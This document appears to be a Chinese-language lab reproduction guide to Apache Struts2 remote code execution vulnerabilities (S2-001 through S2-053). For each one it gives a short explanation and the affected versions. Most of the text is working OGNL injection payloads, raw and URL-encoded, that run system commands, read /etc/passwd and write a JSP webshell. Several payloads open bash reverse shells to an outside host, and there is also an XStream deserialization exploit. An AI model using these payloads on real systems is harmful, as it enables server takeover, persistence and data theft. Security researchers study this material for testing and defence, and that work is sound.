Struts2简介
Struts2是一个基于MVC设计模式的Web应用框架,本质上相当于一个servlet, 会对某些标签属性(比如id)的属性值进行二次表达式解析,因此在某些场景下可能导致远程代码执行漏洞。
OGNL
用来访问对象且可以调用对象的方法。
如何判断Struts2框架
常规的办法有:
1、通过页面回显的错误消息来判断,页面不回显错误消息时则无效。
2、通过网页后缀来判断,如.do.action,有可能不准。
3、判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true。
其它的方法:通过 actionErrors。要求是对应的 Action 需要继承自 ActionSupport 类。
利用方法:如原始 URL 为 https://threathunter.org/则检测所用的 URL 为
https://threathunter.org/?actionErrors=1111
如果返回的页面出现异常,则可以认定为目标是基于 Struts2 构建的。异常包括但不限于以下几种现象:
1、 页面直接出现 404 或者 500 等错误。
2、 页面上输出了与业务有关错误消息,或者 1111 被回显到了页面上。
3、 页面的内容结构发生了明显的改变。
4、 页面发生了重定向。
1、S2-001远程执行代码漏洞(CVE-2007-4556)
漏洞简介:
当用户提交表单数据并验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。
影响范围:
Struts 2.0.0 – 2.0.8
漏洞复现:
验证漏洞是否存在:
输入%{'test'},返回test就是存在该漏洞。
Poc获取tomcat路径:
%{"tomcatBinDir{"[email protected]@getProperty("user.dir")+"}"}
获取网站的真实路径:
%{#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRe
sponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
执行命令:
new java.lang.String[]{"cat","/etc/passwd"}
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new ja
va.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2
.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
需要经过URL编码才可以执行
漏洞利用:
bash -i >& /dev/tcp/x.x.x.x/port 0>&1
2、S2-005远程代码执行漏洞(CVE-2010-1870)
漏洞简介:
S2-005漏洞起源于S2-003,struts2会将http的每个参数名解析为OGNL语句执行。
影响版本:
Struts 2.0.0 – 2.1.8.1
复现操作:
构造poc,在/tmp下创建一个文件
(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/test%22.split(%22@%22))')、(%5cu0023rt%[email protected]@getRuntime()))=1
使用工具执行命令
3、S2-007远程代码执行漏洞(CVE-2012-0838)
漏洞原理:
age来自于用户输入,传递一个非整数给id导致错误,struts会将用户的输入当作OGNL表达式执行,从而导致了漏洞。
UserAction-validation.xml配置的验证规则。如果类型验证转换失败,则服务器将拼接用户提交的表单值字符串,然后执行OGNL表达式解析并返回。
影响范围:
Struts 2.0.0 – 2.2.3
复现操作:
验证漏洞是否存在,在age中输入非数字型点击登陆,age框返回数字,整明漏洞存在。
'+(1+1)+'
查找底层目录信息
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context
%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40
getRuntime%28%29.exec%28%27ls%20/%27%29.getInputStream%28%29%29%29+%2B+%27
4、S2-008远程代码执行漏洞(CVE-2012-0392)
漏洞简介:
S2-008涉及多个漏洞,Cookie拦截器错误配置可造成OGNL表达式执行,但是由于大多Web容器(如 Tomcat)对Cookie名称都有字符限制,一些关键字符无法使用,使得这个漏洞比较鸡肋。
影响版本:
Struts 2.1.0 – 2.3.1
复现操作:
验证漏洞是否存在:
/devmode.action?debug=command&expression=(%[email protected]@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsob
j[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getI
nputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=id
5、S2-009远程执行代码漏洞(CVE-2011-3923)
漏洞原理:
该漏洞允许恶意用户绕过 ParametersInterceptor 内置的所有保护(正则表达式,拒绝方法调用),从而能够将任何暴露的字符串变量中的恶意表达式注入进行进一步评估。
操作方法:
Struts2对S2-003的修复方法是禁止#号,于是S2-005使用编码\u0023或\43绕过。Struts对S2-005的修复方法是禁止\等特殊符号。
但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,可以将OGNL表达式放在example参数中,然后使用/helloword.action?example=&(example)(‘xxx’)=1的方法来执行它,从而绕过对#、\等特殊字符的防御。
影响范围:
Struts 2.1.0 – 2.3.1.1
复现操作:
验证漏洞是否存在的POC – 1:
/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%[email protected]@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%[email protected]@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
枚举/etc/passwd的POC:
http://192.168.109.147:8080/ajax/example5?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%[email protected]@getRuntime().exec("cat/etc/passwd").getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%[email protected]@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
复现失败!
创建用户执行命令
http://192.168.109.147:8080/ajax/example5?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boo
lean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%[email protected]@getRuntime().exec("touch/tmp/test").getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%[email protected]@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
转换POST访问 /ajax/example5 的POC – 2:
z[%28name%29%28%27meh%27%29]&age=12313&name=(#context["xwork.MethodAccessor.denyMethodExecution"]=false,#_memberAccess["allowStaticMethodAccess"]=true,#[email protected]@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[email protected]@getResponse().getWriter(),#s.println(#d),#s.close())(meh)}
6、S2-012远程执行代码漏洞(CVE-2013-1965)
漏洞原理:
如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量xml<package name="S2-012" extends="struts-default"> <action name="user" class="com.demo.action.UserAction"> <result name="redirect" type="redirect">/index.jsp?name=${name}</result> <result name="input">/index.jsp</result> <result name="success">/index.jsp</result> </action></package>```这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。
影响范围:
Struts 2.1.0 – 2.3.13
复现操作:
验证漏洞是否存在:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/bash","-c", "id"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
需要URL编码,否则返回500!
%25%7B%23a%3D(new java.lang.ProcessBuilder(new java.lang.String%5B%5D%7B%22%2Fbin%2Fbash%22%2C%22-c%22%2C %22id%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew java.io.InputStreamReader(%23b)%2C%23d%3Dnew java.io.BufferedReader(%23c)%2C%23e%3Dnew char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D
利用POC :
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
URL编码
%25%7B%23a%3D(new java.lang.ProcessBuilder(new java.lang.String%5B%5D%7B%22cat%22%2C %22%2Fetc%2Fpasswd%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStr
eam()%2C%23c%3Dnew java.io.InputStreamReader(%23b)%2C%23d%3Dnew java.io.BufferedReader(%23c)%2C%23e%3Dnew char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter
().close()%7D
7、S2-013/S2-014远程执行代码漏洞(CVE-2013-1966/CVE-2013-2115)
漏洞原理:
struts2的标签中<s:a>和<s:url>都有一个includeParams属性,可以设置成如下值
none - URL中不包含任何参数(默认)
get - 仅包含URL中的GET参数
all - 在URL中包含GET和POST参数
当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。
此时<s:a> 或<s:url>尝试去解析原始请求参数时,会导致OGNL表达式的执行
影响范围:
Struts 2.0.0 – 2.3.14
复现操作:
验证漏洞是否存在
http://192.168.109.147:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23
b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
S2-014 是对 S2-013 修复的加强。在 S2-013 修复的代码中忽略 $ {ognl_exp} OGNL表达式执行方式。S2-014是对其补丁的加强。
http://192.168.109.147:8080/link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%[email protected]@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D
8、S2-015远程执行代码漏洞(CVE-2013-2135)
漏洞原理:
Apache Struts 2是用于开发JavaEE Web应用程序的开源Web应用框架。Apache Struts 2.0.0至2.3.14.2版本中存在远程命令执行漏洞。远程攻击者可借助带有‘${}’和‘%{}’序列值(可导致判断OGNL代码两次)的请求,利用该漏洞执行任意OGNL代码
影响范围:
Struts 2.0.0 – 2.3.14.2
复现操作:
验证漏洞是否存在的POC – 1:
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}.action
需要经过url编码才能使用
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27id%27).getInputStream())%2C%23q%7D.action
9、S2-016远程执行代码漏洞(CVE-2013-2251)
漏洞简介:
对于特殊URL处理中,redirect与redirectAction后面跟上OGNL表达式会被服务器执行。
影响范围:
Struts 2.0.0 – 2.3.15
复现操作:
docker pull medicean/vulapps:s_struts2_s2-016
docker run -d -p 8888:8080 medicean/vulapps:s_struts2_s2-016
访问靶机
验证漏洞是否存在:
http://192.168.109.147:8888/default.action?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D
爆网站路径
http://192.168.109.147:8888/default.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D
执行 uname -a
http://192.168.109.147:8888/default.action?redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#[email protected]@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServ
letResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
"redirect:" 后的内容需要进行url编码
%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22uname%20-a%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D
获取webshell
http://192.168.109.147:8888/default.action?redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("1.jspx").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}
10、S2-019远程执行代码漏洞(CVE-2013-4316)
漏洞简介:
要求开发者模式(此漏洞较鸡肋),且poc第一个参数是debug,触发点在DebuggingInterceptor上,查看intercept函数,从debug参数获取调试模式,如果模式是command,则把expression参数放到stack.findValue中,最终放到了ognl.getValue中。
影响范围:
Struts 2.0.0 – 2.3.15.1
复现操作:
docker pull medicean/vulapps:s_struts2_s2-019
docker run -d -p 8888:8080 medicean/vulapps:s_struts2_s2-019
访问靶机
http://192.168.109.147:8888/example/HelloWorld.action
验证漏洞是否存在
?debug=command&expression=#a=(new java.lang.ProcessBuilder('id')).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b)
,#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#out=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#out.getWriter().println('dbapp:'+new java.lang.String(#e)),#out.getWriter().flush(),#out.getWriter().close()
需要进行url编码
?%64%65%62%75%67=%63%6f%6d%6d%61%6e%64&%65%78%70%72%65%73%73%69%6f%6e=%23%61%3d%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%27%69%64%27%29%29%2e%73%74%61%72%74%28%29%2c%23%62=%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%63=%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%63%29%2c%23%65=%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%64%2e%72%65%61%64%28%23%65%29%2c%23%6f%75%74=%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76%6c%65%74%52%65%73%70%6f%6e%73%65%27%29%2c%23%6f%75%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%70%72%69%6e%74%6c%6e%28%27%64%62%61%70%70%3a%27%2b%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%23%65%29%29%2c%23%6f%75%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%66%6c%75%73%68%28%29%2c%23%6f%75%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%63%6c%6f%73%65%28%29
11、S2-029远程执行代码漏洞(CVE-2016-0785)
漏洞简介:
Struts框架被强制执行时,对分配给某些标签的属性值进行双重评估,因此可以传入一个值,当一个标签的属性将被渲染时,该值将被再次评估。
代码执行过程大致为先尝试获取value的值,如果value为空,那么就二次解释执行了name。并且在执行前给name加上了”%{}”。最终造成二次执行。因此需要的条件极为苛刻,特殊的代码,value值为空,可以传参到value,控制name,严格来说应该是个本地漏洞。
影响版本:
Struts 2.0.0 – 2.3.24.1(不包含2.3.20.3)
复现操作:
docker pull medicean/vulapps:s_struts2_s2-029
docker run -d -p 8888:8080 medicean/vulapps:s_struts2_s2-029
访问靶机
http://192.168.109.147:8888/
验证漏洞是否存在
http://192.168.109.147:8888/default.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))
12、S2-032远程执行代码漏洞(CVE-2016-3081)
漏洞简介:
当启用动态方法调用时,可以传递可用于在服务器端执行任意代码的恶意表达式。
影响版本:
Struts 2.3.20 – 2.3.28( 2.3.20.3和2.3.24.3除外)
复现操作:
验证漏洞是否存在,返回1001060253718代表代码可执行。
http://192.168.109.147:8080/memoindex.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23context[%23parameters.obj[0]].getWriter().print(%23parameters.content[0]%2b602%2b53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10010
任意命令执行POC:
http://192.168.109.147:8080/index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
创建test文件夹。
cmd=touch /tmp/test
没有回显,进入docker中查看。
成功创建文件夹。
13、S2-045远程执行代码漏洞(CVE-2017-5638)
漏洞原理:
在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行。恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。
影响版本:
Struts2.3.5 – 2.3.31
Struts2.5 – 2.5.10
复现操作:
验证漏洞是否存在 POC – 1:
%{(#test='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(100*5000)).(#ros.flush())}
POC – 2:
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',11*11)}.multipart/form-data
14、S2-046远程执行代码漏洞(CVE-2017-5638)
漏洞原理:
该漏洞与S2-045漏洞成因及原理一样,只是利用的字段发生了改变。
影响版本:
Struts 2.3.5 – 2.3.31
Struts 2.5 – 2.5.10
复现操作:
验证漏洞是否存在,抓包后在filename=””填入
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',1+99)}\x00b
找到b(62)之前的字符,进行00截断,可以看到POC中算式执行成功。
反弹shell的POC:同样在filename=””填入,需要进行00截断。
%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.109.9/8888 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} b
成功反弹shell。
15、S2-048远程执行代码漏洞(CVE-2017-9791)
漏洞原理:
该漏洞出在struts2-struts1-plugin这个插件包上。这个库的主要作用就是将struts1的action封装成struts2的action以便它能在strut2上运行使用。
由于struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函数可以调用 getText() 函数,这个函数刚好又能执行OGNL表达式,同时这个 getText() 的 参数输入点,又可以被用户直接进行控制,用户可控的值添加到 ActionMessage 并在客户前端展示,导致其进入 getText 函数,最后 message 被当作 OGNL 表达式执行。如果这个点被恶意用户所控制,就可以构造恶意执行代码,实现RCE攻击。
影响版本:
Apache Struts 2.3.x系列中启用struts2-struts1-plugin插件的版本。
复现操作:
访问靶机
http://192.168.109.147:8080/integration/editGangster.action
验证漏洞是否存在 POC – 1,需要经过url编码
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream())).(#q)}
Payload-反弹shell
%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.109.9/8888 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
16、S2-052远程执行代码漏洞(CVE-2017-9805)
漏洞原理:
Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,造成远程攻击。
影响版本:
Struts 2.1.2 – 2.3.33
Struts 2.5 – 2.5.12
复现操作:
访问靶机
http://192.168.109.147:8080/orders/3/edit
验证漏洞是否存在
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/success</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish> <closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
抓包并修改,注意包头修改为 application/xml
修改POC写入一句话冰蝎上线:
读取文件
<command>
<string>cp</string>
<string>/etc/passwd</string>
<string>/tmp/passwd</string>
</command>
写入文件
<command>
<string>bash</string>
<string>-c</string>
<string>echo hello > /tmp/test.txt</string>
</command>
17、S2-053远程执行代码漏洞(CVE-2017-12611)
漏洞原理:
当freemarker标签使用表达式常量或强制的表达式时会导致RCE。
影响版本:
Struts 2.0.1-2.3.33
Struts 2.5-2.5.10
复现操作:
访问靶机
http://192.168.109.147:8080/hello.action
验证漏洞是否存在
redirectUri=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmds%3D%28%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%27id%27%7D%29%29.%28%23p%3Dnew+java.lang.ProcessBuilder%28%23cmds%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D%0A
反弹shell,这段payload最后要按一下换行,否则命令无法执行。
